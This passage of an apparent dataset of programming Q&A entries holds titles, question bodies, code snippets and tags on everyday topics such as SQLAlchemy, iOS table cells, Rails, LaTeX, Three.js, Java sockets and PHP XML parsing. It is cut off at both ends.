nThis piece of code used to return a dictionary in 0.5.\nMy question is how can I
return a dictionary?\n", "query = session.query(User.id, User.username,
User.email).filter(and_(User.id == id, User.username == username)).limit(1)\nresult
= session.execute(query).fetchone()\n", "python sqlalchemy"], "5562377": ["Prevent
UIView's from being re-added to a UITableViewCell", "I have refactored my code to
use the latest iOS 5 methods of UITableViewCell reuse. However, subviews of the
UITableViewCells being dequeued in the cellForRowAtIndexPath method are being re-
added to the same cell's contentView or another cells. \nHow can I prevent the
cell's subviews jumping to other cells and adding itself as a subview?\nThanks in
advanced.\nEdit---\nI updated my code to check to see if the subviews are nil
before adding them again as a subview, and it works perfectly, but only three
images are ever displayed in each image view (avatarImageView and snapImageView).
This is because the if statements only ever go through three times. Please can you
tell me why this is occurring?\nMy console looks like this:\n\nUpdated Code:\n\n",
"2012-01-06 03:25:39.497 App[1347:707] in snap\n2012-01-06 03:25:39.500
App[1347:707] in avatar\n2012-01-06 03:25:39.518 App[1347:707] in snap\n2012-01-06
03:25:39.520 App[1347:707] in avatar\n2012-01-06 03:25:42.593 App[1347:707] in
snap\n2012-01-06 03:25:42.595 App[1347:707] in avatar\n", "objective-c ios
uitableview uitableviewcell uiimageview"], "3917605": ["Which is a correct program
for given statement?", "Problem statement:\nFind the right triangle that has
integers for all sides and all sides equal to or smaller than 10 has a perimeter of
24.\nWhich solution of following two is correctly interpreting the problem and
gives the right answer?\nIf the First Solution is not correct then how to avoid
such programming error in similar scenario?\nFirst Solution: \n\nSecond Solution: \
n\n", "ghci> let rightTriangles = [(a, b, c) | a <- [1..10], b <- [1..10], c <-
[1..10], a^2 + b^2 == c^2, a+b+c == 24]\nghci> rightTriangles\n[(6,8,10),(8,6,10)]\
n", "haskell logic logic-programming"], "5969828": ["mybatis.net or nhibernate for
a new .net web application with SQL backend", "I'm having a big to-ORM or not-to-
ORM design dilemma and would really appreciate your answer and reason to my
question below hence I have tried to include as much background as relevant.\nThe
Background.\nI'm designing a brand new web application and have chosen to use .net
(c#) for the service layer and business objects and MS SQL as the database. \nI was
planning to build a data-driven model and keep the domain objects and tables
reasonably well aligned to avoid too much of an O/R impedance mismatch. The reason
for this is that I like OO design (clean,testable code and encapsulation of domain
logic in particular) but I really don't like the idea of fighting against a
relational database - in my experience nobody wins in the OO vs RDBMS game.\nThe
developers on this new project will have both .net and SQL experience - there is no
actual DBA figure although some of us have a good level of knowledge.\nSo now to
decide the data access / persistence method.\nThe choices\nI've narrowed down my
choices for data persistence: an ORM, a data mapper or hand-written code.\n\
nnHibernate\n\nI have used nHibernate before and was about to suggest it for this
project as it saves all the manual plumbing and we do have a brand-new database
schema which we control, not some legacy beast.\nI'm happy to accept nHibernate's
dynamic SQL and I'm prepared to relinquish control of the database and to enjoy the
benefits: quick development, level 1/2 caching, lazy-loading, good query support
etc but one thing troubles me: \nSession management - the session-per-request
persistance of the isession over http calls just scares me and always seems a bit
prone to error / stale data. Shoving a possibly complex and dirty object-graph in
an asp.net session and trying to reconnect it later just seems risky - I remember
problems a few years ago with run time errors on lazy-loaded collections when
reattaching sessions - i remember spending days trying to understand what the ORM
was doing - the abstraction of data persistence felt more like an abstraction of
teeth! I didn't see why I had to learn it to such a low level to be able to use
it.\n\nMyBatis.Net\n\nMy worries about ORM session management and the fact I try to
avoid a massive mismatch between DB and objects has made me look at something like
MyBatis.net as an alternative (which I believe is used by myspace). \n\nHand
Rolled\n\nOn previous projects I hand-built the BL/DAL code - i.e. mapping
properties to table fields - marshaling of data between objects and stored
procedures. Lazy-loading, select n+1 handling, caching etc. \nThis obviously takes
a bit of time and a lot of boring, repetitive code but you end up with a system you
know well and can easily control: debugging is a lot easier. \nThe Question\nBased
on my ramblings above, \n1) should I give nHibernate another chance and vow to love
it and learn it inside-out\nor\n2) should I learn and use something like
MyBatis.net and utilise my SQL knowledge?\nor\n3) Manually create my mapping code?\
nor something else?\n", "", ".net oop nhibernate orm mybatis"], "4371526":
["NSNumberFormatter numberFromString returns 0 for currency style formatter", "I
tried to test the following code in order to get a double value from a currency-
style formatted UITextField (ex : $ 30,034.12 => 30034.12) :\n\nDid anyone
have/solved the same problem ?\nThanks ! \nUpdate : \n@DanielBarden and the others.
Actually to simplify the post I didn't include the part specifying where I got my
string from : a text field. In fact, the line before the end of the code should
be :\n\nAnd this text field was previously formatted with following code from
another method (currency style using the same formatter configuration) :\n\nNow the
problem is that I get exactly the same strings when I do an NSLog but when I
compare them char by char with a loop, it says that the space after the $ is
a \"real space\" on the text field and differente symbol on the initial string
(amountString the one I tried to test with in the initial post ...). Encoding issue
?\n", "// Init and configure formatter\nNSNumberFormatter *formatter =
[[NSNumberFormatter alloc] init];\n[formatter
setNumberStyle:NSNumberFormatterCurrencyStyle];\n[formatter
setMaximumFractionDigits:2];\nNSLocale *locale = [[NSLocale alloc]
initWithLocaleIdentifier:@\"us_US\"];\n[formatter setLocale:locale];\n[formatter
setGroupingSize:3];\n[formatter setUsesGroupingSeparator:YES];\n[formatter
setGroupingSeparator:@\",\"];\n[formatter setAllowsFloats:YES];\n\n// Get a
formatted string using the local currency formatter and then get a double\n// vice-
versa\nNSNumber *amount = [NSNumber numberWithDouble:30034.12];\n\nNSString
*amountString = [formatter stringFromNumber:amount];\n// Output here OK : @\"$
30,034.12\"\n\ndouble amountDouble = [[formatter numberFromString:amountString]
doubleValue];\n// Output here NOT OK : 0\n", "ios cocoa-touch ios4 currency
nsformatter"], "2362546": ["Rails: How to hide a model's attribute?", "I got a Ruby
model \"Comment\" with several attributes: username, date_added, modify_date, etc.
When I create an instance of this model, call it \"i\", and call i.attributes, it
gives me all the attributes for this model. Is there anyway to make it not return
several attributes I want to keep private.\nReason being, I am lazily calling
to_json for i.attributes, and some models contain sensitive information such as
password, and I want to make these private.\n", "", "ruby-on-rails"], "2319740":
["Exception Handling in Selenium Webdriver", "How Selenium handle exceptions ?I am
using Selenium from last few months and I am facing a problem ,as my test case used
to run in very uneven manner ,some time it throws the exception and when i run the
same test case again it executes in the orderly manner.Is this a error or any
exception?\n", "", "selenium selenium2"], "5909383": ["What are the 1> and 2> in
the Visual Studio build window?", "What are the 1> and 2> in the Visual Studio
build window? The number some time goes higher. Processes? Threads? Nesting? I
never seen them before and they started showing up on my new machine which now is
dual core.\n", "", "visual-studio
msbuild"], "5640758": ["OpenLayers - how do I draw a Polygon from existing lonLat
points?", "I have in my database longitude-latitude verticies from user-defined
polygons. My questions is: how do I recreate and display them on a map now? This is
quite easy to do with the Google Maps API, but I can't find any documentation or
examples on how to do this with OpenLayers. Has anyone had any experience doing
this? \n", "", "openlayers"], "608031": ["how do I add unique constraint on an
existing FK's parent?", "consider these tables:\nleagues [ id,name ]\nteams
[ id,name,leaguesid]\n FK: (leaguesid) -> (leagues.id)\n AK: (leaguesId) UNIQUE
/teams can be in one league/\nplayers [id,name]\nplayers_teams
[playersid,teamsid] \nFK: (playersid) -> players.id, teamsid -> teams.id\nAK:
(playersid,teamsid) UNIQUE /player can not be on same team twice/\nthis works
pretty well, but i need a constraint that will prevent the same player from being
in the same league more than once. can this be done without creating a
players_league table or adding leagueid to this table? those options seem to add
denormalization/overhead since i can already determine any leagues a player is in
based on their team.\nthanks\n", "", "sql-server foreign-keys constraints"],
"3466487": ["Rails 3 Contact form", "I recently followed a tutorial on a how to add
a contact form in rails 3 for a site I am building. I already had a contact
controller and view from when I created that page and was trying to implement the
form. I coming to realize maybe the tutorial isn't in rails 3 when it says it is. I
keep getting an error( undefined method `deliver_contact' for
Notifications:Class. ) that I can't seem to figure out. I tried changing some thing
around from the tutorial but nothing is working. Any guidance would help me out? I
am thinking about just deleting what I did and starting over fresh with the contact
form but wanted to check and see if anybody has an idea. Thanks! The link to the
site is below and I followed exactly what was there.
\nhttp://metatroid.com/article/How%20To:%20Contact%20Form%20in%20Rails\n", "",
"ruby-on-rails ruby-on-rails-3 ruby-on-rails-3.2"], "5141845": ["Removing Category
from left nav Magento", "I want to remove a category from the left navigation in
magento, however i want it to remain in the main navigation top.phtml. So far the
only way I can think to do this is with a bit of XML in the local.xml Like so: \n\
nHowever I don't know the alias of the item i want to unset. The category name
is: \nTo purchase from US online store \n& the url is:\nto-purchase-from-us-online-
store\nIf anyone could help with this it would be awesome, I have just lost the
plot completely. \nThanks\n", " <reference name=\"catalog.leftnav\">\n
<action method=\"unsetChild\"><alias>Item to remove</alias></action>\n
</reference>\n", "xml magento navigation"], "4814540": ["Three Address Code (TAC /
3AC)", "While doing some reading, I came across the terms \"Intermediate Language\"
and \"3AC\". \nIL, as I understand, is the middle \"step\" in the source code
compilation process. More specifically, I'm reading about bytecode (Java) and C.\
nThe way I interpret it (correct me if am wrong) is;\n\nSource Code 1 (ex. Lisp) -
>\n Intermediate Language (C) -> Assembly\n Language -> Machine Code\nSource Code
2 (ex. Java) -> Bytecode\n -> Java Virtual Machine\n\nSo based on that, am
struggling to see where does The Three Address Code (TAC/3AC) comes into play, and
what for its used.\n", "", "compilation intermediate-language"], "5039747":
["Offline storage - db sync", "My question is:\nHow can a make my Web app to store
local data if not connected to internet and once the connection is available sync
them with server. \nWhat is best solution to do this. \nMy app is cakephp / mysql,
I want to beable to store data, even if connection is down. I could use Sqlite too.
I need to know if is possible to make this sync. So, No connection, use sqlite,
connection ready, sync it with server.\n", "", "html5 local-storage offline-mode
app-offline.htm"], "5255363": ["Programatically opening web page given unexpected
results", "I'm trying to get information from this
site:\nhttp://www.gocrimson.com/sports/mbkb/2011-12/roster\nIf you look at that
page in a browser, you see a nice that contains all the player info, with the
coach's info below it.\nWhen I pull that page into a python program (using ) or a
ruby program (using ) the table is represented as a bunch of elements. I thought
there might be some javascript running, so I disabled javascript on my browser and
revisited the page. It still loads up wit the s in place.\nIf I use to pull in
the page source, I do get the format.\nAny idea on why the page comes in with the
divs?\nPython:\n\n output (I put one of the s on the last line to draw attention to
it. That is a in the browser page. Shortened to stay under character limit):\n\
nruby:\n\nfinds no s, but\n\nfinds the s\n", "<table>", "python html ruby nokogiri
urllib2"], "2255513": ["How to run SVN commands using MonoDevelop and Visual SVN
server", "I'm using MonoDevelop for iPhone development with MonoTouch. I use
Visual SVN server (free) on my Windows Server 2008 R2 server. All works great with
source code control, however, I'm not sure how to do other source code commands
that are available with the SVN sub-system. \nCan someone explain how to run SVN
commands while using MonoDevelop and/or Visual SVN server from a remote system such
as being used for development? I'd like to branch my release, etc. I looked at
the Visual SVN web site and the SVN help area but I don't know how/where to run
those commands.\nThank you.\n", "", "svn version-control monotouch monodevelop
visualsvn-server"], "5921621": ["Can we store/get Client Side Persistent data using
Prototype.js", "Please comment on this How can we store Client Side Persistent data
using Prototype.js?\nFor Ex.:-In Curl Programming language we can set the data as
key-value pair in persistent storage and get through the key.\nRegards,\
nMannusanghi\n", "", "prototypejs"], "1453354": ["How to modify the Table of
Contents to add the words Chapter, Appendix, Figure, Table", "I am trying to get
the words Chapter, Appendix, Figure and Table into the table of contents. The
thesis requirements can be found here
http://www.usc.edu/schools/GraduateSchool/documents/Thesis/Format_Presentation_Guid
elines.pdf. The relavent part of the guidelines is the fact that the words
Chapter, Appendix, Figure and Table must appear on the same line as the item. For
example (please note that the major chapters/Tables/Figures/Appendicies have double
spacing while the subsections have single spacing). \nThanks in advance for the
help!\nDedication ii\nAcknowledgments iii\nAbstract xxiv\nChapter 1: Some
title....4\n1.1 MySection First Name....3\n1.2 MySection Second Name....5\
nChapter 2: MyChapter Two Title\nAppendices\nAppendix A: Why I love
Research ....10\nA.1 Preliminaries..........10\nA.2 More Preliminaries......11\
nAppendix B: Why I Need Friends that Know Latex ....13\nB.1 Preliminaries.......14\
nB.2 More Priliminaries....15\nList of Figures\nFigure 1.1: My first
figure......15\nFigure 1.2: My first figure......15\nFigure 2.1: My first
figure......25\nFigure 2.2: My first figure......25\nList of Tables\nTable 1.1: My
Table......15\nTable 1.2: My Table......17\nTable 2.1: My Table......25\nTable 2.2:
My Table......27\nNote: The outline above does not show the spacing required. The
major chapters need to be double spaced while the subsection should be single
spaced. The packages used and the document format follows.\n\n", " \\
documentclass[11pt]{report}\n\\usepackage[dissertation,final]{USCthesis}\n%NOTE:
THE def \\degree WAS REDEFINED from \\degree to \\degreeName IN ORDER TO AVOID
%CONFLICTS WITH THE siunitx PACKAGE. NOTE: THE STYLE FILE USCthesis WAS CHANGED.
ALL 2 OCCURANCES OF \\degree WAS CHANGED TO \\degreeName SO AS NOT TO CONFLICT WITH
siunitx package. \n\n\\usepackage{cite}\n\\usepackage[subfigure]{tocloft}\n\n\\
usepackage{subfigure} % Written by Steven Douglas Cochran\n % This package makes
it easy to put subfigures\n % in your figures. i.e., \"figure 1a and 1b\"\n %
Docs are in \"Using Imported Graphics in LaTeX2e\"\n % by Keith Reckdahl which
also documents the graphicx\n % package (see above). subfigure.sty is already\n %
installed on most LaTeX systems. The latest version\n % and documentation can be
obtained at:\n\\usepackage{graphicx}\n\\usepackage{psfrag}\n\\usepackage{amsmath}\
n\\usepackage{amsfonts}\n\\usepackage{booktabs}%used for professional tables\n\\
usepackage[table]{xcolor}%used to add color to tables\n\\usepackage{amssymb}\n\\
usepackage{amsthm}\n\\usepackage{mathrsfs}%Used for script math fonts\n\\
usepackage{bm}%\\bm{\\omega} produces bold omega\n\\usepackage{amsbsy}%\\
boldsymbol{\\omega} also produces bold omega\n\\usepackage{url}\n\\usepackage[load-
configurations = version-1]{siunitx}\n\\usepackage{animate}\n\\
usepackage{algorithm}\n\\usepackage{algpseudocode}\n\\usepackage{color}\n\\
usepackage{subfigure}\n\\usepackage{index}\n\\makeindex\n\\usepackage{appendix}\n\\
usepackage{epstopdf}\n\\usepackage{standalone}%Use to generate tikz pictures from
separate LaTeX code for each graphic\n\n%\\nofiles\n\\begin{document}\n\\
setlength{\\parskip}{0pt}\n\n\\title{SOME TITLE} % ALL CAPS in title. The
title needs to be double spaced to be compliant with USC guidelines\n\\author{WILEY
COYOTE} % For example, Tommy Trojans. Only the first letter of each word requires
CAPS.\n\n\\submitdate{May 2012} % Officially, submitdate can only be
May, August and December.\n\\begin{preface}\n\\prefacesection{Dedication}
% (Optional) Dedication\nBlah blah blah\n\\prefacesection{Acknowledgments}\nI would
like to thank....\n\\tableofcontents % List of
contents\n\\listoftables % List of tables\n%\\
renewcommand\\cfttabpresnum{Table }\n%\\renewcommand{\\cftchappresnum}{}\n\\
listoffigures % List of figures\n\n\\include{thesis_abs}
% Abstract: thesis_abs.tex starts with \\prefacesection{Abstract}\n\n\\
end{preface}\n\n\\include{Chapter1}%Include the file named \"Chapter1\n\\
include{Chapter2}% Include the file named \"Chapter2\n\\include{Chapter3}%Include
the file named \"Chapter3\n\\begin{singlespace} % single-space
for bibliography\n\\references[Bibliography]{IEEEtranS}{../Dissertation_bib}
%Include a bibliography file named \"Dissertation_bib\" located in the relative
directory.... Use IEEEtranS to sort bibliography by last name of first author. \n\
n\\begin{appendices}\n \\include{Appendix}%Includes the appendix file
named \"Appendix\"\n\\end{appendices}\n\\end{singlespace}\n\\printindex% There is
an index file in my thesis that is generated by xindy\n\\end{document}\n", "tables
table-of-contents floats"], "5640759": ["Scroll VIiew Class iOS", "My program
doesnt even go into the method. I have no idea why. My view did load looks like
this: \n\nAlso i have implemented the on my interface like this. I don't see what
i am doing wrong. It doesn't even go into the method called .\n\n",
"scrollViewDidScroll", "iphone objective-c ios xcode iphone-sdk-4.0"], "696573":
["Ruby: Mildly 'exotic' inheritance doesn't work?", "I would like to factor a bunch
of common code from subclasses into a superclass method. The superclass method
must refer to a nonexistent (in the superclass) method that will be defined in the
subclasses. But I can't get this to work.\nThis is one try out of many multiple
variations I have tried:\n\nThis doesn't work. Other variations don't work either.
Is this kind of coding possible in Ruby (I thought it was)? I did this kind of
thing all the time working in Smalltalk.\nAny way to achieve what I want? Please
avoid advising me to use \"mix-ins\" or \"modules,\" as I'd just like to just learn
and use Ruby's inheritance for right now.\n*Running latest version of Ruby.\
nThanks.\nEDIT: This is in a Rails app. The superclass is ApplicationController.\
nEDIT: Here is actual code from one of many iterations I've tried to do this.
This particular example craps out with \"undefined method `each' for nil:NilClass\"
in the view, apparently because the whole thing is running in the context of the
super (where it isn't defined) instead of the sub, or at least that's my
interpretation:\n\n", "class Superclass\n def chunk_of_code\n #
<code...>\n nonexistant_superclass_method_defined_in_subclass params\n
# <more code...>\n end\nend\n\nclass Subclass < Superclass\n def
nonexistant_superclass_method_defined_in_subclass params\n # whatever...\n
end\nend\n\nSubclass.new.chunk_of_code params\n", "ruby-on-rails ruby inheritance
methods superclass"], "2603539": ["THREE.JS Shadow on opposite side of light", "I
used THREE.js r49 create 2 cube geometry with a directional light to cast shadow on
them and got result as in the following picture.\nI noticed that the shadow in the
green circle should not be appeared, since the directional light is behind both of
the cube. I guess that this is the material issue, I've tried changing various
material parameters as well as change the material type itself, but the result
still the same. I also tested the same code with r50 and r51 and got the same
result.\nCould anybody please give me some hint how to get rid of that shadow.\
nBoth cube are creating using CubeGeometry and MeshLambertMaterial as following
code.\n\nThe code:\n\n", "// ambient\nvar light = new
THREE.AmbientLight( 0xcccccc );\nscene.add( light );\n\n// the large cube\nvar
p_geometry = new THREE.CubeGeometry(10, 10, 10);\nvar p_material = new
THREE.MeshLambertMaterial({ambient: 0x808080, color: 0xcccccc});\nvar p_mesh = new
THREE.Mesh( p_geometry, p_material );\np_mesh.position.set(0, -5, 0);\
np_mesh.castShadow = true;\np_mesh.receiveShadow = true;\nscene.add(p_mesh);\n\n//
the small cube\nvar geometry = new THREE.CubeGeometry( 2, 2, 2 );\nvar material =
new THREE.MeshLambertMaterial({ambient: 0x808080, color: Math.random() *
0xffffff});\nvar mesh = new THREE.Mesh( geometry, material );\nmesh.position.set(0,
6, 3);\nmesh.castShadow = true;\nmesh.receiveShadow = true;\n\n// add small cube as
the child of large cube\np_mesh.add(mesh);\np_mesh.quaternion.setFromAxisAngle(new
THREE.Vector3(0, 1, 0), 0.25 * Math.PI );\n\n// the light source\nvar light = new
THREE.DirectionalLight( 0xffffff );\nlight.castShadow = true;\
nlight.position.set(0, 10, -8); // set it light source to top-behind the cubes\
nlight.target = p_mesh // target the light to the large cube\
nlight.shadowCameraNear = 5;\nlight.shadowCameraFar = 25;\nlight.shadowCameraRight
= 10;\nlight.shadowCameraLeft = -10;\nlight.shadowCameraTop = 10;\
nlight.shadowCameraBottom = -10;\nlight.shadowCameraVisible = true;\
nscene.add( light );\n", "webgl three.js"], "5982077": ["Read multi-line data
coming from socket", "This is my code... \n\nI am getting errors. I have to read
multiple lines coming from a socket, a char size of around 8182.\nHow to read
multi-line data coming from socket?\n", "reader = new BufferedReader(new
InputStreamReader(socket.getInputStream()));\nmessage=reader.readLine(); \n",
"java sockets"], "5079018": ["Joomla and non-Joomla subfolders", "I have a Joomla
installation with search-friendly-urls at the root level of the domain, but my host
is giving me access to my website stats (which requires authentication) in
domain.com/stats, and I cannot see it, just a Joomla generated 404 error.\nI
thought this might be due to the .htaccess so I tried adding this line to the top:\
n\nbut I still get the 404. This is what the rest of the .htaccess: looks like\n\
n", "RewriteRule ^(/stats) - [L]\n", ".htaccess joomla"], "3118066": ["How can I
turn a SimpleXML object to array, then shuffle?", "Crux of my problem:\nI've got an
XML file that returns 20 results. Within these results are all the elements I need
to get. Now, I need to return them in a random order, and be able to specifically
work with item 1, items 2-5, and items 6-17.\nIdea 1: Use this script to convert
the object to an array, which I can shuffle through. This is close to working, but
a few of the elements I need to get are under a different namespace, and I don't
seem to be able to get them. Code:\n\nIdea 2: Continue using my working code that
is getting the information using a foreach, but store each element in an array,
then use shuffle on that. I'm not precisely sure how to write to an array within a
foreach loop and not write over one another, though. Working code:\n\nIdeas on if
either of these are good solutions to my problem, and if so, how I can get over my
execution humps? Thanks so much for any help you can give.\nUpdate: Sample XML is
here\n", "/*\n * Convert a SimpleXML object into an array (last resort).\n *\n *
@access public\n * @param object $xml\n * @param boolean $root - Should we append
the root node into the array\n * @return array\n */\n\nfunction xmlToArray($xml,
$root = true) {\nif (!$xml->children()) {\n return (string)$xml;\n}\n\n$array =
array();\nforeach ($xml->children() as $element => $node) {\n $totalElement =
count($xml->{$element});\n\n if (!isset($array[$element])) {\n
$array[$element] = \"\";\n }\n\n // Has attributes\n if ($attributes =
$node->attributes()) {\n $data = array(\n 'attributes' =>
array(),\n 'value' => (count($node) > 0) ? xmlToArray($node, false) :
(string)$node\n // 'value' => (string)$node (old code)\n );\n\n
foreach ($attributes as $attr => $value) {\n $data['attributes'][$attr]
= (string)$value;\n }\n\n if ($totalElement > 1) {\n
$array[$element][] = $data;\n } else {\n $array[$element] =
$data;\n }\n\n // Just a value\n } else {\n if ($totalElement >
1) {\n $array[$element][] = xmlToArray($node, false);\n } else {\
n $array[$element] = xmlToArray($node, false);\n }\n }\n}\n\
nif ($root) {\n return array($xml->getName() => $array);\n} else {\n return
$array;\n}\n}\n\n$thumbfeed =
simplexml_load_file('http://gdata.youtube.com/feeds/api/videos?
q=skadaddlemedia&max-results=20&orderby=published&prettyprint=true');\n\
n$xmlToArray = xmlToArray($thumbfeed);\n$thumbArray = $xmlToArray[\"feed\"];\
nfor($n = 0; $n < 18; $n++){\n$title = $thumbArray[\"entry\"][$n][\"title\"]
[\"value\"];\n$desc = $thumbArray[\"entry\"][0][\"content\"][\"value\"];\n$videoUrl
= $differentNamespace;\n$thumbUrl = $differentNamespace;\n}\n", "php simplexml"],
"910764": ["Multiple iOS devices + centralized sqlite database", "Can I share same
sqlite database from 2 different iOS devices or update one from another?\n", "",
"objective-c ios ipad sqlite database-connection"], "910767": ["MVC 4 - Sending
Model Data via JSON to Nested Partial Using Ajax Call", "I have a cshtml page with
a partial view. I have an ajax call in that same view retrieving json data based
off separate url. I need to pass in the json data into partial. How to do this?\n",
"", "ajax json asp.net-mvc-4 partial-views"], "1622606": ["Subspace of a Vector
Space must be non-empty.", "I am in the process of teaching some first year
students about subspaces of $\\mathbb{R}^{n}$ and need to stress that to check that
$V\\subseteq\\mathbb{R}^{n}$ is a subspace, then you need to show that it is non
empty. Specifically, they know that a subset $V\\subseteq \\mathbb{R}^{n}$ is a
subspace if and only if the following three conditions hold:\n\n$V\\neq\\
emptyset$;\nIf $x,y\\in V$, then $(x+y)\\in V$; and\nIf $x\\in V$ and $\\lambda\\
in\\mathbb{R}$,
then $\\lambda\\cdot x\\in V$.\n\nIs there actually an example of a subset $\\
emptyset=V\\subseteq\\mathbb{R}^{n}$ that is defined by a set of conditions such
that if $x$ and $y$ were to satisfy those conditions, then $(x+y)$ and $\\lambda\\
cdot x$ would also satisfy those conditions?\nEdit: So specifically, has anyone got
an example of a set of conditions on the coefficients of vectors in $\\
mathbb{R}^{n}$ such that\n$V=\\left\\{\\left(\\begin{array}{c} a_{1} \\\\
a_{2} \\\\ \\vdots \\\\ a_{n} \\end{array}\\right):a_{1},\\ldots,a_{n}\\
text{ satisfy certain conditions}\\right\\}=\\emptyset$\nbut that if $(a_{1},\\
ldots,a_{n})^{T}$ and $(b_{1},\\ldots,b_{n})^{T}$ were to satisfy the conditions,
then so would $a_{1}+b_{1}$ etc. So basically I want a set of conditions that are
closed under addition and scalare multiplication, but together are inconsistent.\
nFor example, $3\\vert a_{1}$ is a condition that is closed under addition but not
under scalar multiplication, $\\vert a_{1}\\vert \\geq \\vert a_{2}\\vert$ is
closed under scalar multiplication but not addition etc.\nI hope that clarifies
things a bit.\n", "", "linear-algebra vector-spaces"], "2717763": ["Zabbix - send a
trap to a SNMP server", "How to generate a SNMP trap per event (custom media type
script?) \nto a SNMP server/another monitoring tool ?\nIf so, how to pass the
community + OID as arguments to the media type script?\nBy default, only the
destination, subject and message seem to be passed to the script.\n", "", "snmp
zabbix"], "1593893": ["how long for a BWT process usually take", "I know the time
complexity is of but anyone knows how long does it generally take in practice ,
with the most common available method that is adopted these days, to transform a,
say, 20M text file? Thanks.\n", "O(n^2)", "java time complexity"], "5975096": ["How
do I persist the value of a label through a response.redirect?", "Here's the
situation: I have a label's text set, immediately followed by a response.redirect()
call as follows (this is just an example, but I believe it describes my situation
accurately):\naspx:\n\nCode-behind (code called on an onclick event):\n\nWhen the
page renders, the label says \"default text\". What do I need to do differently? My
understanding was that such changes would be done automatically behind the scenes,
but apparently, not in this case. Thanks.\nFor a little extra background, the code-
behind snippet is called inside a method that's invoked upon an onclick event.
There is more to it, but I only included that which is of interest to this issue.\
n", "<asp:Label runat=\"server\" Text=\"default text\" />\n", "asp.net persistence
viewstate"], "3684936": ["MonoDroid - Target Device does not display in IDE", "I'm
trying to run the very simplest app on MonoDroid though the MonoDevelop IDE - i.e.
the one that is created as part of the new project (the one that increments the
lable on button clicks - i won't post code as I don't think it is relevant unless
someone really wants it).\nWhen I press the run menu item then run (or debug) i get
the emulator selection \n\nI dutifully start the emulator - (I've tried API_7,
API_10, API_12) and that works OK. But the IDE above never refreshes to show the
currently running emulator so I can't launch the application. I have manually
refreshed but the same list comes up. What I am expecting is the new emulator to
appear in the list and the OK button becoming active.\nI have tried running s in
the command line and I can see that the debug bridge has picked up the device i.e.
it says which matches the TCP/IP port that the emulator is running on.\nI've also
tried restarting the debug server i.e.\n\nBut I can't see the emulator appear on
the above dialog. The debug server is running on port 5037. Could the IDE be
listening to a different port?\nFundamentally I'm trying to get the simplest app
running through MonoDevelop. And I'm failing. Please help good people.\n", "adb
device", "android android-emulator monodevelop monodroid adb"], "4377207": ["C++,
data model, templates", "I am using a data model with classes: Point2D, Point3D,
PointGeo:\n\nTo manage instances of these classes the folowing classes allowing
loading points from file, adding/removing points, clearing list, printing are
used...\nList of 2D points\n\nList of 3D points\n\nSource code of PointGeo class is
similar...\nSo differences in the code between the classes are small. They differ
in methods for loading, printing, saving data.\nWould it be inappropriate to design
a class replacing all three classes? How to create methods for loading, printing
data specific for the data type?\nThe similar situation occurs for the dynamic
alocation: Node2D, Node3D,... classes. Class Node2D stores some topological
relationships and using pointers to other nodes or faces... In such case all three
classes will have a different destructor...\nList of 2D points\n\nThank you very
much for your comments and suggestions. I am writing geometric library and thinking
about the most suitable data model.\n", "template <class T>\nclass Point2D\n{\n
protected:\n T x;\n T y;\n...\n};\n\n\ntemplate <class T>\
nclass Point3D\n{\n protected:\n T x;\n T y;\n
T z;\n...\n};\n\ntemplate <class T>\nclass PointGeo\n{\n protected:\n
T lat;\n T lon;\n...\n};\n", "c++ data model"], "5183607": ["Calculate
nearest GPS points near directions MySQL", "i have set of GPS points in database. I
recently tried to select only those near to my location. I could do that with MySQL
select. I use google maps to display them.\nBut now, i need to calculate nearest
points in radius let's say 20km around directions - line segment between two gps
points.\nI have drawn it on a picture. I have two points A, B and i need to display
only those points near to path between them.\n\nYellow line is the line between A
and B\nI want to select only markers in red
area\n\nhttp://i.stack.imgur.com/9ZbUd.jpg\nThank you for your solutions.\n", "",
"mysql gps point markers directions"], "3490612": ["Devise with restful user", "I
have devise and users controller\nroutes.rb\n\nusers_controller.rb\n\nwhen I
visit \nI get \n\nupdate:\n\nAny solution?\n", " devise_for :users\n\n
resources :users do\n resources :blogs\n end\n", "ruby-on-rails-3 rest
devise"], "2220539": ["How to add a TextView outside the action bar tabs", "I like
to make an application with tabs. There are three tabs in my application with some
buttons in each tab. And there are three fragments also. I like to display some
text in to a common TextView when the buttons in each tab is pressed.My tabs are
working fine. But I have some three issues.\n1.How to give a common TextView for
all the tabs (perhaps outside the tabs)\n2.My button method in the fragments dont
work\n3.When I try to display cutom language fonts it gives me an error \"The
method getAssets() is undefined for the type FragmentA\"\nThe following is my main
activity\n\nand this is my code in one of the fragments\n\nI will be extremely
thankful to you for any help.\n", "public class MLkeyboardActivity extends Activity
{\n/** Called when the activity is first created. */\n//public static TextView
textView1;\n@Override\npublic void onCreate(Bundle savedInstanceState) {\n
super.onCreate(savedInstanceState);\n
setContentView(R.layout.activity_mlkeyboard);\n\n\n final ActionBar actionBar =
getActionBar(); \n
actionBar.setNavigationMode(ActionBar.NAVIGATION_MODE_TABS);\n\n\n\n\n Tab tabA
= actionBar.newTab();\n tabA.setText(\"Tab A\");\n tabA.setTabListener(new
TabListener<FragmentA>(this, \"Tag A\", FragmentA.class));\n
tabA.setIcon(R.drawable.ic_launcher);\n actionBar.addTab(tabA);\n\n Tab tabB
= actionBar.newTab();\n tabB.setText(\"Tab B\");\n tabB.setTabListener(new
TabListener<FragmentB>(this, \"Tag B\", FragmentB.class));\n
actionBar.addTab(tabB);\n\n Tab tabC = actionBar.newTab();\n
tabC.setText(\"Tab C\");\n tabC.setTabListener(new
TabListener<FragmentC>(this, \"Tag C\", FragmentC.class));\n
actionBar.addTab(tabC);\n\n if (savedInstanceState != null) {\n int
savedIndex = savedInstanceState.getInt(\"SAVED_INDEX\");\n
getActionBar().setSelectedNavigationItem(savedIndex);\n }\n\n}\n\n@Override\
nprotected void onSaveInstanceState(Bundle outState) {\n // TODO Auto-generated
method stub\n super.onSaveInstanceState(outState);\n
outState.putInt(\"SAVED_INDEX\", getActionBar().getSelectedNavigationIndex());\n}\
n\npublic static class TabListener<T extends Fragment> \n implements
ActionBar.TabListener{\n\n private final Activity myActivity;\n private final
String myTag;\n private final Class<T> myClass;\n\n public
TabListener(Activity activity, String tag, Class<T> cls) {\n myActivity =
activity;\n myTag = tag;\n myClass = cls;\n }\n\n @Override\n
public void onTabSelected(Tab tab, FragmentTransaction ft) {\n\n Fragment
myFragment = myActivity.getFragmentManager().findFragmentByTag(myTag);\n\
n // Check if the fragment is already initialized\n if (myFragment ==
null) {\n // If not, instantiate and add it to the activity\n
myFragment = Fragment.instantiate(myActivity, myClass.getName());\n
